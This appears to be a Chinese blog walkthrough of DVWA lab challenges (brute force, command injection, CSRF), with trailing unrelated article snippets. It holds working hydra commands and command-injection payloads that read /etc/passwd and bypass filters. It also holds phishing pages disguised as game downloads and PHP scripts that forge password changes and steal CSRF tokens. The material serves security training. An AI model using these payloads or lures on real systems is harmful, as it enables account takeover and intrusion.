dvwa:暴力破解、命令注入、csrf全难度详解

暴力破解

easy模式
hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
添加登陆路径、用户名占位符、密码占位符、添加请求头、错误返回的字符串
http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
登陆路径:/dvwa/vulnerabilities/brute/
用户名和密码占位符:username=^USER^&password=^PASS^&Login=Login#
添加请求头:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e(注意冒号转位)
添加错误返回的字符串:Username and/or password incorrect.
​
[80][http-get-form] host: 192.168.72.1   login: admin   password: password
​
medium一样能爆破出,但会睡眠2秒high模式加了一个token,但是加了token跟不加token都能爆破出来
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login&user_token=564d1b908f7b4a9e975d00bc707fab3e:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high;:Username and/or password incorrect."
impossible代码逻辑:
如果登录失败,更新数据库使得用户登录失败次数+1,如果登录失败次数超过3次,account_locked将为false,下次登陆时必须等待 15分钟才会将account_locked设置为true
但是就算等待了15分钟,代码并没有将登陆失败次数清零,所以一旦登陆失败一次,就直接锁住
​
注:impossible是post,其他难度都是get

命令注入

外部命令注入:

  • ;(分号):允许您按顺序执行多个命令。

  • &&(AND):仅当第一个命令成功(返回零退出状态)时才执行第二个命令。

  • ||(或):仅当第一个命令失败(返回非零退出状态)时才执行第二个命令。

  • &(后台):在后台执行命令,允许用户继续使用shell。

  • |(管道):获取第一个命令的输出并将其用作第二个命令的输入。

  • < (重定向) :将后者输出重定向前者输入

    这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果
payload:
127.0.0.1 & whoami
适用于linux(这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果):
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
medium'&&' => '',';' => ''payload:
127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 &;& whoami
适用于linux:
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
high'&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',
"| "成为了黑名单,但是"|"去掉空格还能使用
​
payload:
127.0.0.1 |whoami
impossible
通过.将ip分开,判断分离的数量是否为4,且判断这4部分是否都是数字,这两个条件成立,才会执行ping命令
命令注入其他扩展
参数注入

当您只能将参数附加到现有命令时,即可获得命令执行权。

查询参数注入的网站:Argument Injection Vectors

  • chrome

    chrome '--gpu-launcher="id>/tmp/foo"'
  • SSH

    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
  • 查询语言

    psql -o'|id>/tmp/foo'
字符串内部命令注入
  • 反引号

  • $()

  •  

    payload1:

    echo "`ip a`" echo "$(ip a)" ​ payload2: 其他命令< "`whoami`"
空格替换
${IFS}替换
cat${IFS}flag.txt
​
重定向符号替换
cat</etc/passwd
127.0.0.1<"$(whoami)"

csrf

基本思路:构造一个html钓鱼网页,钓鱼网页上有访问dvwa网站修改密码的链接,但是我发现一个问题,就是如果钓鱼网页上直接就是:http://192.168.72.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#的话,我们只能操控get请求的数据,不能操控header的数据和post提交的数据,而且最大的问题在于被攻击的人点击这个链接,请求头里有:H=Cookie\: security=impossible; PHPSESSID=481b089a941d0aecc848227e2e90202e,也就是说默认就是困难难度而且网页get请求不能操控header修改不了难度,所以需要使用vps写一个php服务构造恶意请求并发送

easy

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>
 

php伪造请求(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
​
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=easy',
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>

点击后:

同时修改密码成功

medium

需要简单配置:

  • phpstudy给网站个域名,如下图

  • linux攻击机器添加host头

vim /etc/hosts
192.168.72.1    www.oswe.com

为什么需要以上配置:

因为后端代码的判断
变量$_SERVER[ 'HTTP_REFERER' ]是否有$_SERVER[ 'SERVER_NAME' ],如果有,则说明当前修改密码的请求是从本网站跳转过来的,而不是从钓鱼网站跳转过来的,
而$_SERVER[ 'SERVER_NAME' ]这个变量实际上就是你的域名,为了能使我们的linux能解析到域名所以添加hosts头

源码的判断:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ){# 正常
}
else{# 错误
}
​
其中
$_SERVER[ 'HTTP_REFERER' ] = 请求头里的referer  
$_SERVER[ 'SERVER_NAME' ] = 域名www.oswe.com
​
如果请求头的referer中存在域名www.oswe.com,执行正常功能

篡改请求头referer

$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>

后端php伪造恶意请求代码(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
​
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>
hard
array_key_exists 函数
— 检查数组里是否有指定的键名或索引
数组里有键 key 时,array_key_exists() 返回 true。 key 可以是任何能作为数组索引的值。
主要检查提交的数据是否完整:
if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST))
​
checkToken 函数
检测请求包的token和用户的会话token是否一致:
if ($_SESSION[ 'session_token' ] === $_REQUEST["user_token"])
关于token
这里的token是一开始请求固定在html页面的表单里的,每一次的请求都会更新一次token的值,我们需要先劫持token然后再伪造请求,固定在表单里的token如下:
​
<form action="#" method="GET">New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf"><br /><br /><input type="submit" value="Change" name="Change"><input type='hidden' name='user_token' value='8a5cd4cae342ac86000a7abb1d65a5fa' />
</form>

思路:

  • 构造恶意链接,链接向dvwa的high模式下的csrf页面请求两次

    • 第一次请求是为了获取到固定在表单里的token

    • 第二次请求是为了使用这个token来修改密码

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a><a href="http://192.168.72.1/dvwa/csrf_token.php">巫师3</a>
</body>
</html>
​
其中csrf.php是之前的没有token模式的恶意php请求
csrf_token.php是我们请求两次的恶意php请求

php恶意请求代码csrf_token.php

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
// 初始化 cURL
$ch = curl_init();
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/';
​
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=high','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求并将结果保存到 $html 变量中
$html = curl_exec($ch);
​
​
// 创建一个 DOMDocument 对象并载入 HTML 内容
$dom = new DOMDocument();
@$dom->loadHTML($html);
​
// 获取所有的 input 标签
$inputElements = $dom->getElementsByTagName('input');
​
$userTokenValue = null;
​
// 遍历所有的 input 标签,查找 name 为 user_token 的元素
foreach ($inputElements as $element) {if ($element->getAttribute('name') === 'user_token') {// 输出 user_token 的值$userTokenValue = $element->getAttribute('value');break; // 找到后跳出循环}
}
if ($userTokenValue) {echo "使用了如下token修改密码:". $userTokenValue;
} else {echo "user_token not found";
}
​
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
// GET 数据
$get_data = array('password_new' => '8888','password_conf' => '8888','Change' => 'Change','user_token' => $userTokenValue
);
​
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
// if($response === false) {
//     echo 'cURL error: ' . curl_error($ch);
// } else {
//     // 打印响应
//     echo $response;
// }
​
// 关闭 cURL 资源
curl_close($ch);
?>

这里点的是巫师3,但显示下载成功的是赛博朋克,是因为这个返回页面我懒得该,直接返回的字符串

impossible

修改密码前,输入当前密码来身份验证,导致csrf请求伪造无法获取用户凭据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/56197.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uni-app 开发的应用快速构建成鸿蒙原生应用

uni-app 是一个使用 Vue.js 开发所有前端应用的框架&#xff0c;它支持编译到 iOS、Android、小程序等多个平台。对于 HarmonyOS&#xff08;鸿蒙系统&#xff09;&#xff0c;uni-app 提供了特定的支持&#xff0c;允许开发者构建鸿蒙原生应用。 一、uni-app 对 HarmonyOS 的支…

UE5 C++ 通过绑定编辑器事件实现控制柄顶点编辑

开发中经常会遇到编辑器环境中制作工具拖拽控制柄编辑内容的需求&#xff0c;此时可以通过Editor事件拿到对应回调&#xff0c;进行相应更新&#xff1a; 1.创建Mesh编辑Actor类 创建一个Mesh编辑Actor类&#xff0c;提供Mesh顶点编辑的相关逻辑。 .h: #pragma once#inclu…

Mac上强大的菜单栏管理工具

想要Mac用的好&#xff0c;各种工具少不了&#xff0c;一款好用的软件对于提高使用效率和使用舒适度来说非常必要&#xff0c;iBar-强大的菜单栏图标管理工具 随着 Mac 运行的软件增加&#xff0c;状态栏中的图标也越来越多&#xff0c;不仅看得眼花缭乱&#xff0c;而且刘海屏…

Fetch 与 Axios:JavaScript HTTP 请求库的详细比较

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storm…

基于SpringBoot民宿预订系统小程序【附源码】

效果如下&#xff1a; 管理员登录界面 管理员功能界面 用户管理界面 房东管理界面 小程序首页界面 民宿房间界面 功能界面 研究背景 随着旅游业的蓬勃发展和人们对旅行体验的不断追求&#xff0c;民宿作为一种独特的住宿方式&#xff0c;因其个性化、温馨及富含地方特色的服务…

机器学习中的模型设计与训练流程详解

目录 前言1. 模型设计1.1 数据特性分析1.2 计算资源限制1.3 应用场景需求 2. 模型训练2.1 训练集与验证集的划分2.2 损失函数的选择2.3 模型参数更新 3. 优化方法3.1 梯度下降法3.2 正则化方法 4. 模型测试4.1 性能评估指标4.2 模型的泛化能力 5. 模型选择5.1 数据规模与模型复…

matlab不小心删除怎么撤回

预设项——>删除文件——>移动至临时文件夹 tem临时文件夹下

鸿蒙开发之ArkUI 界面篇 三十五 容器组件Tabs 切换高亮

好多app都有切换点中的时候高亮效果&#xff0c;如下图所示&#xff1a; 改变的是什么呢&#xff1f;是字体的颜色、背景图&#xff0c;不是切换到的界面&#xff0c;又恢复到默认的图片和字体颜色&#xff0c;而鸿蒙中更新界面的值需要使用State修饰&#xff0c;Tabs提供了onC…

Linux环境通过APT 仓库安装版PostgreSQL 数据库实战

Linux环境通过APT 仓库安装版PostgreSQL 数据库是运维人员常见的需求之一&#xff0c;今天我们一步一步演示一下&#xff1a; 1、添加 PostgreSQL APT 仓库 确保你的系统更新&#xff0c;然后添加 PostgreSQL 的官方 APT 仓库。 sudo apt update sudo apt install -y wget w…

【动手学深度学习】6.4 多输入多输出通道

彩色图像具有标准的RBG通道来代表红绿蓝&#xff0c;但是到目前位置我们仅展示了单个输入和单个通道的简化例子。这使得我们可以将输入&#xff0c;卷积核和输出看作二维张量而当我们添加通道时&#xff0c;输入和隐藏表示都变成了三维张量。例如每个RGB输入图像都具有 3 h …

QD1-P5 HTML 段落标签(p)换行标签(br)

本节视频 www.bilibili.com/video/BV1n64y1U7oj?p5 ‍ 本节学习 HTML 标签&#xff1a; p标签 段落br标签 换行 ‍ 一、p 标签-段落 1.1 使用 p 标签划分段落 <p>段落文本</p>示例 <!DOCTYPE html> <html><head><meta charset"…

Windows11系统下Sentinel环境搭建教程

目录 前言Sentinel简介Sentinel下载安装Sentinel配置与启动总结 前言 本文为博主在项目环境搭建时记录的Sentinel安装流程&#xff0c;希望对大家能够有所帮助&#xff0c;不足之处欢迎批评指正&#x1f91d;&#x1f91d;&#x1f91d; Sentinel简介 github主页地址 &#x…

电脑查不到IP地址是什么原因?怎么解决

在日常使用电脑的过程中&#xff0c;有时会遇到无法查询到电脑IP地址的情况&#xff0c;这可能会影响到网络的正常使用。本文将探讨电脑查不到IP地址的可能原因&#xff0c;并提供相应的解决方案。 一、原因分析 ‌网络连接问题‌&#xff1a;首先&#xff0c;网络连接不稳定或…

服务器数据恢复—EMC存储RAID5磁盘阵列数据恢复案例

服务器数据恢复环境&#xff1a; 一台EMC某型号存储设备&#xff0c;该存储中有一组由12块&#xff08;包括2块热备盘&#xff09;STAT硬盘组建的raid5阵列。 服务器故障&#xff1a; 该存储在运行过程中突然崩溃&#xff0c;raid瘫痪。数据恢复工程师到达现场对故障存储设备进…

点云数据与多相机图像融合实现3D场景的彩色可视化

引言 在现代3D计算机视觉和机器人感知领域&#xff0c;点云数据和图像信息的融合正变得越来越重要。点云数据提供了精确的几何结构&#xff0c;而图像则包含了丰富的颜色和纹理细节。将这两种数据源结合起来&#xff0c;我们能够创建更加逼真和信息丰富的3D场景表示。本文将深…

Django学习笔记之Django基础学习

Django笔记 提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 例如&#xff1a;第一章 Python 机器学习入门之pandas的使用 提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录…

剧场的客户端形式区别,APP,小程序,H5的不同优势以及推广方案

剧场的客户端形式区别与推广策略 在数字化时代&#xff0c;剧场的线上化成为大势所趋。不同的线上平台如APP、小程序和H5各有千秋&#xff0c;如何选择最适合自己的平台&#xff0c;并制定有效的推广方案&#xff0c;成为了剧场管理者需要考虑的重要问题。 APP&#xff1a;深度…

【AIGC】OpenAI API在快速开发中的实践与应用:优化ChatGPT提示词Prompt加速工程

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;使用最新型号确保最佳实践利用最新模型进行高效任务处理为什么要选择最新模型&#xff1f;结论 &#x1f4af;指令与上下文的分隔最佳实践分隔指令和上下文的重要性使用符…

univer实现excel协同

快速入门 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><script src&q…

无线费控智能水表:智能生活的守护者

在当今智能化日益普及的时代&#xff0c;无线费控智能水表作为一项重要的技术创新&#xff0c;正在逐步改变我们的生活方式。它不仅能够实现远程抄表&#xff0c;自动计费&#xff0c;还能有效监控用水情况&#xff0c;促进水资源的合理利用&#xff0c;是现代城市智慧化管理不…